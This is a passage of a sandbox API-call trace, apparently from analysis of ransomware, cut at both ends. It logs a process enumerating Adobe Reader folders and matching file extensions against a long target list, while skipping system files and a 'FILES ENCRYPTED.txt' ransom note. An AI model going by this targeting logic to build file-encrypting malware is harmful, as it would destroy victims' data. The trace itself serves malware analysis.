returned -1 [0262.126] lstrlenW (lpString=".cr2") returned 4 [0262.126] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".crt") returned 4 [0262.126] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".crw") returned 4 [0262.126] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".cs") returned 3 [0262.126] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.126] lstrlenW (lpString=".css") returned 4 [0262.126] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.126] lstrlenW (lpString=".csv") returned 4 [0262.126] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".cub") returned 4 [0262.127] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dae") returned 4 [0262.127] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dat") returned 4 [0262.127] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".db") returned 3 [0262.127] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.127] lstrlenW (lpString=".dbf") returned 4 [0262.127] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dbx") returned 4 [0262.127] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dc3") returned 4 [0262.127] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dcm") returned 4 [0262.127] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".dcr") returned 4 [0262.127] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.127] lstrlenW (lpString=".der") returned 4 [0262.127] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".dib") returned 4 [0262.128] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".dic") returned 4 [0262.128] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".dif") returned 4 [0262.128] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".divx") returned 5 [0262.128] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.128] lstrlenW (lpString=".djvu") returned 5 [0262.128] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.128] lstrlenW (lpString=".dng") returned 4 [0262.128] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".doc") returned 4 [0262.128] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".docm") returned 5 [0262.128] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.128] lstrlenW (lpString=".docx") returned 5 [0262.128] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.128] lstrlenW (lpString=".dot") returned 4 [0262.128] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.128] lstrlenW (lpString=".dotm") returned 5 [0262.128] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.129] lstrlenW (lpString=".dotx") returned 5 [0262.129] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.129] lstrlenW (lpString=".dpx") returned 4 [0262.129] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.129] lstrlenW (lpString=".dqy") returned 4 [0262.129] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.129] lstrlenW (lpString=".dsn") returned 4 [0262.129] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.129] lstrlenW (lpString=".dt") returned 3 [0262.129] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.129] lstrlenW (lpString=".dtd") returned 4 [0262.129] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.129] lstrlenW (lpString=".dwg") returned 4 [0262.129] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".dwt") returned 4 [0262.130] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".dx") returned 3 [0262.130] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.130] lstrlenW (lpString=".dxf") returned 4 [0262.130] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".edml") returned 5 [0262.130] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.130] lstrlenW (lpString=".efd") returned 4 [0262.130] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".elf") returned 4 [0262.130] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".emf") returned 4 [0262.130] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".emz") returned 4 [0262.130] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".epf") returned 4 [0262.130] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.130] lstrlenW (lpString=".eps") returned 4 [0262.131] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".epsf") returned 5 [0262.131] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.131] lstrlenW (lpString=".epsp") returned 5 [0262.131] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.131] lstrlenW (lpString=".erf") returned 4 [0262.131] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".exr") returned 4 [0262.131] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".f4v") returned 4 [0262.131] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".fido") returned 5 [0262.131] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.131] lstrlenW (lpString=".flm") returned 4 [0262.131] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".flv") returned 4 [0262.131] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".frm") returned 4 [0262.131] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".fxg") returned 4 [0262.131] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".geo") returned 4 [0262.131] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.131] lstrlenW (lpString=".gif") returned 4 [0262.132] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".grs") returned 4 [0262.132] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".gz") returned 3 [0262.132] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.132] lstrlenW (lpString=".h") returned 2 [0262.132] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.132] lstrlenW (lpString=".hdr") returned 4 [0262.132] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".hpp") returned 4 [0262.132] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".hta") returned 4 [0262.132] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".htc") returned 4 [0262.132] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".htm") returned 4 [0262.132] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.132] lstrlenW (lpString=".html") returned 5 [0262.133] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.133] lstrlenW (lpString=".icb") returned 4 [0262.133] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".ics") returned 4 [0262.133] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".iff") returned 4 [0262.133] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".inc") returned 4 [0262.133] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".indd") returned 5 [0262.133] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.133] lstrlenW (lpString=".ini") returned 4 [0262.133] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".iqy") returned 4 [0262.133] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".j2c") returned 4 [0262.133] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".j2k") returned 4 [0262.133] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.133] lstrlenW (lpString=".java") returned 5 [0262.133] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.133] lstrlenW (lpString=".jp2") returned 4 [0262.133] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".jpc") returned 4 [0262.134] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".jpe") returned 4 [0262.134] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".jpeg") returned 5 [0262.134] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.134] lstrlenW (lpString=".jpf") returned 4 [0262.134] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".jpg") returned 4 [0262.134] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".jpx") returned 4 [0262.134] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.134] lstrlenW (lpString=".js") returned 3 [0262.134] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.134] lstrlenW (lpString="ui-strings.js") returned 13 [0262.134] lstrlenW (lpString=".love$") returned 6 [0262.134] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0262.134] lstrlenW (lpString="ui-strings.js") returned 13 [0262.134] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0262.134] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0262.134] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0262.134] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0262.134] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0262.134] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0262.135] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0262.135] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0262.135] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\ui-strings.js") returned 119 [0262.135] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.135] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0262.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.135] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0262.135] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it") returned 105 [0262.135] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it") returned 1 [0262.135] lstrlenW (lpString="it-it") returned 5 [0262.135] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1 [0262.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.136] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it") returned 105 [0262.136] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0262.136] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.136] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.136] lstrlenW (lpString="ui-strings.js") returned 13 [0262.136] lstrlenW (lpString=".1cd") returned 4 [0262.137] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.137] lstrlenW (lpString=".3ds") returned 4 [0262.137] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.137] lstrlenW (lpString=".3fr") returned 4 [0262.137] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.137] lstrlenW (lpString=".3g2") returned 4 [0262.137] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.137] lstrlenW (lpString=".3gp") returned 4 [0262.137] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.137] lstrlenW (lpString=".7z") returned 3 [0262.137] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.137] lstrlenW (lpString=".accda") returned 6 [0262.137] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".accdb") returned 6 [0262.137] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".accdc") returned 6 [0262.137] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".accde") returned 6 [0262.137] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".accdt") returned 6 [0262.137] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".accdw") returned 6 [0262.137] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.137] lstrlenW (lpString=".adb") returned 4 [0262.137] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".adp") returned 4 [0262.138] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai") returned 3 [0262.138] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.138] lstrlenW (lpString=".ai3") returned 4 [0262.138] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai4") returned 4 [0262.138] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai5") returned 4 [0262.138] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai6") returned 4 [0262.138] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai7") returned 4 [0262.138] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".ai8") returned 4 [0262.138] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".anim") returned 5 [0262.138] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.138] lstrlenW (lpString=".arw") returned 4 [0262.138] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.138] lstrlenW (lpString=".as") returned 3 [0262.138] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.138] lstrlenW (lpString=".asa") returned 4 [0262.139] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".asc") returned 4 [0262.139] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".ascx") returned 5 [0262.139] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.139] lstrlenW (lpString=".asm") returned 4 [0262.139] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".asmx") returned 5 [0262.139] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.139] lstrlenW (lpString=".asp") returned 4 [0262.139] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".aspx") returned 5 [0262.139] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.139] lstrlenW (lpString=".asr") returned 4 [0262.139] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".asx") returned 4 [0262.139] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".avi") returned 4 [0262.139] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".avs") returned 4 [0262.139] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.139] lstrlenW (lpString=".backup") returned 7 [0262.139] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.140] lstrlenW (lpString=".bak") returned 4 [0262.140] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".bay") returned 4 [0262.140] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".bd") returned 3 [0262.140] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.140] lstrlenW (lpString=".bin") returned 4 [0262.140] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".bmp") returned 4 [0262.140] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".bz2") returned 4 [0262.140] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".c") returned 2 [0262.140] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.140] lstrlenW (lpString=".cdr") returned 4 [0262.140] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".cer") returned 4 [0262.140] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.140] lstrlenW (lpString=".cf") returned 3 [0262.141] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.141] lstrlenW (lpString=".cfc") returned 4 [0262.141] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".cfm") returned 4 [0262.141] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".cfml") returned 5 [0262.141] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.141] lstrlenW (lpString=".cfu") returned 4 [0262.141] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".chm") returned 4 [0262.141] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".cin") returned 4 [0262.141] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".class") returned 6 [0262.141] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.141] lstrlenW (lpString=".clx") returned 4 [0262.141] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".config") returned 7 [0262.141] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.141] lstrlenW (lpString=".cpp") returned 4 [0262.141] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".cr2") returned 4 [0262.141] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".crt") returned 4 [0262.141] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.141] lstrlenW (lpString=".crw") returned 4 [0262.141] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".cs") returned 3 [0262.142] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.142] lstrlenW (lpString=".css") returned 4 [0262.142] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".csv") returned 4 [0262.142] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".cub") returned 4 [0262.142] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dae") returned 4 [0262.142] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dat") returned 4 [0262.142] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".db") returned 3 [0262.142] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.142] lstrlenW (lpString=".dbf") returned 4 [0262.142] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dbx") returned 4 [0262.142] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dc3") returned 4 [0262.142] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dcm") returned 4 [0262.142] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.142] lstrlenW (lpString=".dcr") returned 4 [0262.143] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".der") returned 4 [0262.143] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".dib") returned 4 [0262.143] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".dic") returned 4 [0262.143] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".dif") returned 4 [0262.143] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".divx") returned 5 [0262.143] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.143] lstrlenW (lpString=".djvu") returned 5 [0262.143] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.143] lstrlenW (lpString=".dng") returned 4 [0262.143] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".doc") returned 4 [0262.143] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".docm") returned 5 [0262.143] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.143] lstrlenW (lpString=".docx") returned 5 [0262.143] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.143] lstrlenW (lpString=".dot") returned 4 [0262.143] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.143] lstrlenW (lpString=".dotm") returned 5 [0262.144] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.144] lstrlenW (lpString=".dotx") returned 5 [0262.144] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.144] lstrlenW (lpString=".dpx") returned 4 [0262.144] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dqy") returned 4 [0262.144] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dsn") returned 4 [0262.144] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dt") returned 3 [0262.144] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.144] lstrlenW (lpString=".dtd") returned 4 [0262.144] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dwg") returned 4 [0262.144] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dwt") returned 4 [0262.144] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".dx") returned 3 [0262.144] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.144] lstrlenW (lpString=".dxf") returned 4 [0262.144] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.144] lstrlenW (lpString=".edml") returned 5 [0262.144] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.144] lstrlenW (lpString=".efd") returned 4 [0262.144] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.145] lstrlenW (lpString=".elf") returned 4 [0262.145] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.145] lstrlenW (lpString=".emf") returned 4 [0262.145] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.145] lstrlenW (lpString=".emz") returned 4 [0262.145] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.145] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.145] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0262.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 